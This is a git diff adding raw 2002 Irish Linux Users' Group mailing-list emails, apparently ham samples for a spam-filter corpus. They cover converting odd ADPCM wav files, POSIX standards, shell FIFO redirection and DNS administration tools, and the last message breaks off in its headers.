Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00103.33f50210b021fbf039f59b24daafd999 b/bayes/spamham/easy_ham_2/00103.33f50210b021fbf039f59b24daafd999 new file mode 100644 index 0000000..53705f3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00103.33f50210b021fbf039f59b24daafd999 @@ -0,0 +1,116 @@ +From ilug-admin@linux.ie Mon Jul 22 18:13:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B0B25440D0 + for ; Mon, 22 Jul 2002 13:12:31 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:31 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFGJ901368 for + ; Mon, 22 Jul 2002 16:16:19 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id PAA32564 for ; + Mon, 22 Jul 2002 15:58:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA31883; Mon, 22 Jul 2002 15:54:09 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA31847 for ; Mon, + 22 Jul 2002 15:53:57 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Mon, 22 Jul 2002 15:53:55 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885482@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'John Gay'" , ilug@linux.ie +Subject: RE: [ILUG] When is a wav not a wav? +Date: Mon, 22 Jul 2002 15:53:54 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I'm sure that The Beatles are weel happy with Microserfs for robbing them +blind of their "intellectual Property" + +I'm gonna mail complaints@microsoft.com and get them to put an end to these +windows cd's ;--) + +Don't suppose you have a reference for it? I've made a lot of friends in the +MS complaints department, its amazing what you can say to them and get away +with it --::))) + +CW + +And no sorry I don't know the solution, they must be pretty bad quality +though if you can fit 25 albums on one CD. I would say they are Mpeg encoded +or some buzz like that. + +--------------------- +I've got some really interesting wav files here. + +A friend had a Windows CD with, wait for it . . . + +Every Beatles Record ever released in the U.K.! Including the Christmas and +BBC special albums! All on one, ordinary CD! Yes a 650M CD! + +Of course this CD also had a special Windows app for playing this +collection! + +I had a look at the contents of the CD, since I don't do Windows, and the +albums appeared to be plain wav files? Each album in it's own wav file, 25 +Albums, 25 wav files?!? I copied the wav files to my hard drive. + +Curious thing, though, noatun crashes on some of the larger ones, seems to +attempt to load the entire file into memory first, and on the ones it +doesn't +crash on, it plays them fast and noisily? kwave refuses to recognise them +completely and wavp just makes an ungodly noise! + +xanim can, and does play them correctly though. Unfortunately xanim does not + +have any position control so you just have to listen to the album from start + +to finish. + +file has this to say about them: + +johngay@debian:/home/jgay$ file beatles/SGT.WAV +beatles/SGT.WAV: RIFF (little-endian) data, WAVE audio, Microsoft ADPCM, +stereo 22050 Hz +johngay@debian:/home/jgay$ ls -l beatles/SGT.WAV +-r-xr-xr-x 1 johngay johngay 53334900 Sep 27 2001 beatles/SGT.WAV + +And this is SGT Pepper's lonely Hearts Club Band album. 51M is quite good, +considering it also has the inner track. But they certainly are NOT in +stereo. + +What I would like to do is split up the tracks and convert them the mp3 for +xmms. I'm jsut not sure what tools would be able to handle these strange +compressed wav's that only xanim seems to recognise? I like the albums, but +would prefer to be able to sellect tracks to play rather than entire albums +and be able to listen to all my music with one app. I know xmms has a WAV +plugin, but it does not recognise these either. + +Any help will be greatly appreciated! + +Cheers, + + John Gay + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00104.a682139cb63862f8b63756c454c01fe3 b/bayes/spamham/easy_ham_2/00104.a682139cb63862f8b63756c454c01fe3 new file mode 100644 index 0000000..2532078 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00104.a682139cb63862f8b63756c454c01fe3 @@ -0,0 +1,85 @@ +From ilug-admin@linux.ie Mon Jul 22 18:13:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5A2A7440DD + for ; Mon, 22 Jul 2002 13:12:32 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:32 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG4QY17730 for + ; Mon, 22 Jul 2002 17:04:26 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA23692 for ; + Sat, 20 Jul 2002 14:27:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA04712; Sat, 20 Jul 2002 14:26:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com + [216.136.173.57]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id OAA04597 + for ; Sat, 20 Jul 2002 14:26:19 +0100 +Received: from p102.as1.cra.dublin.eircom.net (HELO mfrenchw2k) + (mfrench42@159.134.176.102 with login) by smtp.mail.vip.sc5.yahoo.com with + SMTP; 20 Jul 2002 13:26:16 -0000 +Message-Id: <002d01c22ff0$81f10cb0$f264a8c0@sabeo.ie> +From: "Matthew French" +To: "kevin lyda" , + +References: <200207191959.g6JJxHX04486@linux.local> + <002c01c22f67$4216c280$f264a8c0@sabeo.ie> + <20020719233036.B12390@ie.suberic.net> +Subject: Re: [ILUG] hard- vs. soft-links [was: How to copy some files ] +Date: Sat, 20 Jul 2002 14:22:30 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Kevin wrote: +> am i the only one who thinks this is like "friday night 80's" for ilug? +> and here's an answer from 1989. for those perceptive folks in the +> audience you'll note that it makes no reference to a windows icons. + +> so yeah, unrm would be nice, but obviously it's not a simple problem. +> millions of lines of code, hundreds of projects, no unrm. heck, the +> hurd will probably release 1.0 before unrm shows up. + +So what this tells us is: +1) There are very few new ideas. +2) Problems exists until someone gets annoyed enough to actually fix them +rather than find bizarre ways to solve the problem. +3) I have too much creative time on my hands with not enough productive +time. + +>>From which we can infer that no work on unrm will be happening on my +computer for a long time. + +:) + +- Matthew + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.comm + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00105.b307b4de62765a6f2808d36a21652bbc b/bayes/spamham/easy_ham_2/00105.b307b4de62765a6f2808d36a21652bbc new file mode 100644 index 0000000..4f2a21b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00105.b307b4de62765a6f2808d36a21652bbc @@ -0,0 +1,117 @@ +From ilug-admin@linux.ie Mon Jul 22 18:13:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D2BF4440DE + for ; Mon, 22 Jul 2002 13:12:32 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:32 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFHU902180 for + ; Mon, 22 Jul 2002 16:17:30 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA31984 for ; + Mon, 22 Jul 2002 14:11:42 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA27431; Mon, 22 Jul 2002 14:11:00 +0100 +Received: from linux.local ([195.218.108.52]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA27396 for ; Mon, + 22 Jul 2002 14:10:52 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.52] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6MBW9X31245 for + ; Mon, 22 Jul 2002 12:32:09 +0100 +Message-Id: <200207221132.g6MBW9X31245@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] How to copy some files +In-Reply-To: Message from + "John P. Looney" + of + "Mon, 22 Jul 2002 09:09:41 BST." + <20020722080941.GI3234@jinny.ie> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <31241.1027337528.1@linux.local> +Date: Mon, 22 Jul 2002 12:32:08 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + OAA27396 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Mon, 22 Jul 2002 09:09:41 +0100 + | From: "John P. Looney" + |[ ... ] + | That's something that POSIX would do - make every platform as + | equally broken, rather than standing up and saying "how about + | we try & make everyone better". + + eh? POSIX doesn't "do" anything. POSIX is a de jour + specification for a voluntary minimal implementation to + encourage software transportability. no-one, absolutely + no-one, has or ever had to implement POSIX or be restricted + to POSIX. commercial considerations et.al. may encourage + some "POSIX-compatibility", but that's a freely-made choice. + + IMHO, the process's weakness is a general rule --- which + has been ignored on occasion --- to only consider "formal" + submissions of "proven" technologies. that translates into + specifying more-or-less common parts of the existing *ix + implementations which actively contribute to the process. + most of the committees are loath to blue-sky, solicit + proposals/research, or pick an uncommon or unsponsored + implementation, even when manifestly superior. (IMHO, + this is why POSIX is *ix and not, e.g., Plan9 or Inferno.) + + OTOH, considering the motivating force behind the process, + it can be argued the above "weakness" is a strength .... + + | (why? Because in the real world, you can't. Somethings just suck) + + yep. which is not to say POSIX "sucks" per se. but the old + pre-POSIX *ix world arguably did, at least in terms of ease + of software porting. one of *ix's claims to fame is it is + perhaps the first system where one could seriously consider + porting, more or less intact and with relative ease, software + from one architecture+platform+vendor to a radically utterly + different triple. + + however, as people discovered, there's a lot of difference + between "consider porting" and "actually porting" --- and + some problems were silly. some were self-inflicted (e.g., + assuming byte-orientation or a particular endianness); but + others were Frustrating "system" incompatibilities --- the + motivating force that lead to /usr/group, XPG (X/Open), POSIX, + Spec1170, Unix98, Common Unix, &tc. + + «The nice thing about standards is there's so many to + choose from.» -- commonly attributed to bwk. + +cheers! + -blf- +-- + Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland + Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie + expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 + For a résumé, contact me, or see my website http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00106.5c4519d12bf9435ebbc0c648836b21b1 b/bayes/spamham/easy_ham_2/00106.5c4519d12bf9435ebbc0c648836b21b1 new file mode 100644 index 0000000..b3cd4ec --- /dev/null +++ b/bayes/spamham/easy_ham_2/00106.5c4519d12bf9435ebbc0c648836b21b1 @@ -0,0 +1,130 @@ +From ilug-admin@linux.ie Mon Jul 22 19:49:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3726B440C8 + for ; Mon, 22 Jul 2002 14:49:21 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:49:21 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1DY16485 for + ; Mon, 22 Jul 2002 17:01:13 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA27022 for ; + Sun, 21 Jul 2002 11:01:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA03542; Sun, 21 Jul 2002 11:00:17 +0100 +Received: from linux.local ([195.218.108.167]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03495 for ; Sun, + 21 Jul 2002 10:59:40 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.167] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6L121X21767 for + ; Sun, 21 Jul 2002 02:02:01 +0100 +Message-Id: <200207210102.g6L121X21767@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] vanquishing the daemons of shell scripting +In-Reply-To: Message from Stephen Shirley of + "Sat, 20 Jul 2002 10:47:36 BST." + <20020720094736.GA16224@skynet.ie> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <21764.1027213321.1@linux.local> +Date: Sun, 21 Jul 2002 02:02:01 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + KAA03495 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Sat, 20 Jul 2002 10:47:36 +0100 + | From: Stephen Shirley + |[ ... ] + | It's very easy to get one program to act on the output of a second + | program: cmd1 | cmd2. But, what if you want cmd1 to act on the output + | of cmd2 as well? Hmm. Eventually, I came up with this solution: + | + | mkfifo io + | cmd1 io + | + | and bingo, all was well with the world. Now, I have (and had) a sneaking + | suspcion that it might be possible to do this without using a fifo, and + | can be done using something like: + | + 1| exec 3>&1 + 2| cmd1 <&3 | cmd2 >&3 + 3| exec 3>&- + | + | but that doesn't work in that form, and i couldn't work out an + | incantation that would. Anyone got any suggestions? [ ... ] + + the above, or something close to it, would work if, when the + 1st line is executed, file descriptor (fdesc) 1 is open for both + read and write (R/W) to a suitable entity (e.g., a pipe/FIFO; I + imagine a socket or something of that ilk could be made to work + but have no idea why you'd want to go to the trouble.... ). + + but in any case, all that is unlikely to be the case: + · most probably, fdesc 1 is yer tty (e.g. screen + keyboard); + and + · quite possibly is open only for write (being stdout). + + you need it open for R/W because all dup2(2) --- which is all + `n>&m' means -- does is replicate the fdesc handle. it does not + change the access mode; e.g., if the original fdesc (m) was only + open for writing (W), that's all the new fdesc (n) is open for. + yet in the 2nd line, it's needed for both R (cmd1) and W (cmd2). + + whilst it's impossible to say for certain from this excerpt, it + seems a reasonable guess that fdesc 1 when the 1st line executes + is the stdout of the script itself, which is most probably yer + tty. that means, if it does happen to be open for R/W (which is + the case on some systems), `cmd2' would be writing to the screen + whilst `cmd1' is reading from the keyboard --- i.e., the poor + confused human luser is "clearly" expected to manually echo back + to the computer what it prints. + + good luck! ;-) + + upshot: the FIFO is needed. and this isn't a shell scripting + problem per se. + + the FIFO solution is fine. I've used variations (plural) on + this approach to extend the Korn (ksh(1)) shell language, by + providing a co-processing interpreter --- `ksh' sends certain + predefined commands to the co-process, handling control over + to the co-process until it indicates processing is complete + and `ksh' can resume normal processing. with some thought and + care to insure signals do something rational, works great for + adding a scripting language (which is the purpose) cheaply to + script-less programs (useful when you can't modify the, IMHO, + buggy program to use, e.g., TCL). + +cheers! + -blf- +-- + Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland + Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie + expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 + For a résumé, contact me, or see my website http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00107.f41f38981300ca9eda3be38596353128 b/bayes/spamham/easy_ham_2/00107.f41f38981300ca9eda3be38596353128 new file mode 100644 index 0000000..4fdca0e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00107.f41f38981300ca9eda3be38596353128 @@ -0,0 +1,150 @@ +From ilug-admin@linux.ie Mon Jul 22 19:49:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4EC46440C9 + for ; Mon, 22 Jul 2002 14:49:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:49:28 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFGJ901372 for + ; Mon, 22 Jul 2002 16:16:19 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id QAA32596 for ; + Mon, 22 Jul 2002 16:03:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA32758; Mon, 22 Jul 2002 16:02:34 +0100 +Received: from efwbc01.aib.ie (firewall-user@[194.69.198.40]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id QAA32731; Mon, 22 Jul 2002 + 16:02:25 +0100 +From: andrew.p.barnes@aib.ie +X-Authentication-Warning: lugh.tuatha.org: Host firewall-user@[194.69.198.40] + claimed to be efwbc01.aib.ie +Received: (from uucp@localhost) by efwbc01.aib.ie (8.10.2+Sun/8.10.2) id + g6MF2LA26979; Mon, 22 Jul 2002 16:02:21 +0100 (IST) +Received: from relay01.isec.aib.ie(10.8.2.3) by efwbc01.aib.ie via csmap + (V6.0) id srcAAAIQaqS0; Mon, 22 Jul 02 16:02:21 +0100 +Received: from sims.isec.aib.ie (unverified) by relay22.aib.ie (Content + Technologies SMTPRS 4.2.10) with ESMTP id + ; Mon, 22 Jul 2002 16:00:45 +0100 +Received: from s0hlnmta ([10.4.20.5]) by sims.isec.aib.ie (Sun Internet + Mail Server sims.4.0.2001.07.26.11.50.p9) with ESMTP id + <0GZN00H24OFVD5@sims.isec.aib.ie>; Mon, 22 Jul 2002 16:02:20 +0100 (BST) +Date: Mon, 22 Jul 2002 15:55:52 +0100 +Subject: Re: [ILUG] bind + lex + yacc... +To: kevin lyda +Cc: irish linux users group , ilug-admin@linux.ie +Message-Id: +MIME-Version: 1.0 +X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 +Content-Type: text/plain; charset="us-ascii" +X-Mimetrack: Serialize by Router on N0HLNMTA/IR/AIB(Release 5.0.7 |March + 21, 2001) at 07/22/2002 03:59:23 PM +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +Hi Kevin, + +In the past when administering large domains, I've used the DNSTool - +http://www.gormand.com.au/tools/dnstool/guide.html + +One custom change I made to this tool was to modify it so that it used a +combination of OpenSSH and sudo for remote commands, file transfers, etc. + +This may, or may not be what you're after - I'm presuming that you're +considering writing a tool to do the maintenance of the domains? + +Regards, + Andrew + + + This email is my own opinion, no-one elses, yada yada... + + +-- +Andrew Barnes + + + + + kevin lyda + + @linux.ie> cc: + Sent by: ilug-admin@linux.ie Subject: [ILUG] bind + lex + yacc... + + + 22/07/2002 15:39 + + + + + + + +i recently received this email from a friend of mine in the states: + + i'm trying to figure out how to maintain about 200 domains, with a + hundred or so computers per domain. some internal, some external. + i recently learned lex and yacc and i'm thinking that's the way to go. + i don't really know perl and i know it's useful but i think i can + write c faster then perl. + + is this a good idea? + + ps we're really busy. + +obviously as a stupid developer with no real admin experience to speak +of, i'm not qualified to answer this question. does anyone with real +admin experience have any suggestions here? the problem sounds really +hard, and i doubt anyone has had to deal with this level of complexity +so there probably aren't any existing tools written. + +anyone else have any opinions or experience i could pass on? + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more +to +fork()'ed on 37058400 the point than the fact that a drunken man is +happier +meatspace place: home than a sober one. the happiness of credulity is +a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + + +andrew.p.barnes +AIB +Internet Technical Support +Bankcentre +01-6411600 + +This document is strictly confidential and is intended for use by the +addressee unless otherwise indicated. + +Allied Irish Banks + +This Disclaimer has been generated by CMDis + + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00108.e1a50d817af33d7b1bbec19bdaef75d0 b/bayes/spamham/easy_ham_2/00108.e1a50d817af33d7b1bbec19bdaef75d0 new file mode 100644 index 0000000..b4da70e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00108.e1a50d817af33d7b1bbec19bdaef75d0 @@ -0,0 +1,98 @@ +From ilug-admin@linux.ie Mon Jul 22 19:49:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7AA08440C8 + for ; Mon, 22 Jul 2002 14:49:35 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:49:35 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQJ403331 for + ; Mon, 22 Jul 2002 18:26:19 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id WAA25055 for ; + Sat, 20 Jul 2002 22:48:05 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA04058; Sat, 20 Jul 2002 22:47:20 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail05.svc.cra.dublin.eircom.net + (mail05.svc.cra.dublin.eircom.net [159.134.118.21]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id WAA03958 for ; Sat, + 20 Jul 2002 22:47:04 +0100 +Message-Id: <200207202147.WAA03958@lugh.tuatha.org> +Received: (qmail 71509 messnum 305279 invoked from + network[159.134.159.217/p473.as1.drogheda1.eircom.net]); 20 Jul 2002 + 21:46:31 -0000 +Received: from p473.as1.drogheda1.eircom.net (HELO there) + (159.134.159.217) by mail05.svc.cra.dublin.eircom.net (qp 71509) with SMTP; + 20 Jul 2002 21:46:31 -0000 +Content-Type: text/plain; charset="iso-8859-15" +From: John Gay +To: ilug@linux.ie +Date: Sat, 20 Jul 2002 20:48:30 +0100 +X-Mailer: KMail [version 1.3.2] +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] When is a wav not a wav? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I've got some really interesting wav files here. + +A friend had a Windows CD with, wait for it . . . + +Every Beatles Record ever released in the U.K.! Including the Christmas and +BBC special albums! All on one, ordinary CD! Yes a 650M CD! + +Of course this CD also had a special Windows app for playing this collection! + +I had a look at the contents of the CD, since I don't do Windows, and the +albums appeared to be plain wav files? Each album in it's own wav file, 25 +Albums, 25 wav files?!? I copied the wav files to my hard drive. + +Curious thing, though, noatun crashes on some of the larger ones, seems to +attempt to load the entire file into memory first, and on the ones it doesn't +crash on, it plays them fast and noisily? kwave refuses to recognise them +completely and wavp just makes an ungodly noise! + +xanim can, and does play them correctly though. Unfortunately xanim does not +have any position control so you just have to listen to the album from start +to finish. + +file has this to say about them: + +johngay@debian:/home/jgay$ file beatles/SGT.WAV +beatles/SGT.WAV: RIFF (little-endian) data, WAVE audio, Microsoft ADPCM, +stereo 22050 Hz +johngay@debian:/home/jgay$ ls -l beatles/SGT.WAV +-r-xr-xr-x 1 johngay johngay 53334900 Sep 27 2001 beatles/SGT.WAV + +And this is SGT Pepper's lonely Hearts Club Band album. 51M is quite good, +considering it also has the inner track. But they certainly are NOT in stereo. + +What I would like to do is split up the tracks and convert them the mp3 for +xmms. I'm jsut not sure what tools would be able to handle these strange +compressed wav's that only xanim seems to recognise? I like the albums, but +would prefer to be able to sellect tracks to play rather than entire albums +and be able to listen to all my music with one app. I know xmms has a WAV +plugin, but it does not recognise these either. + +Any help will be greatly appreciated! + +Cheers, + + John Gay + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00109.1d90dc88e6b0591ee91e3cd605ec778a b/bayes/spamham/easy_ham_2/00109.1d90dc88e6b0591ee91e3cd605ec778a new file mode 100644 index 0000000..d257604 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00109.1d90dc88e6b0591ee91e3cd605ec778a @@ -0,0 +1,78 @@ +From ilug-admin@linux.ie Mon Jul 22 19:49:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A5332440C9 + for ; Mon, 22 Jul 2002 14:49:41 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:49:41 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQX403521 for + ; Mon, 22 Jul 2002 18:26:34 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA22925 for ; + Sat, 20 Jul 2002 10:46:42 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA27805; Sat, 20 Jul 2002 10:45:46 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail2.mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA27775 for ; + Sat, 20 Jul 2002 10:45:41 +0100 +Received: from dialup-0595.dublin.iol.ie ([193.203.146.83] + helo=Hobbiton.cod.ie) by mail2.mail.iol.ie with esmtp (Exim 3.35 #1) id + 17Vqhi-0005Sx-00 for ilug@linux.ie; Sat, 20 Jul 2002 10:39:10 +0100 +Received: (from cdaly@localhost) by 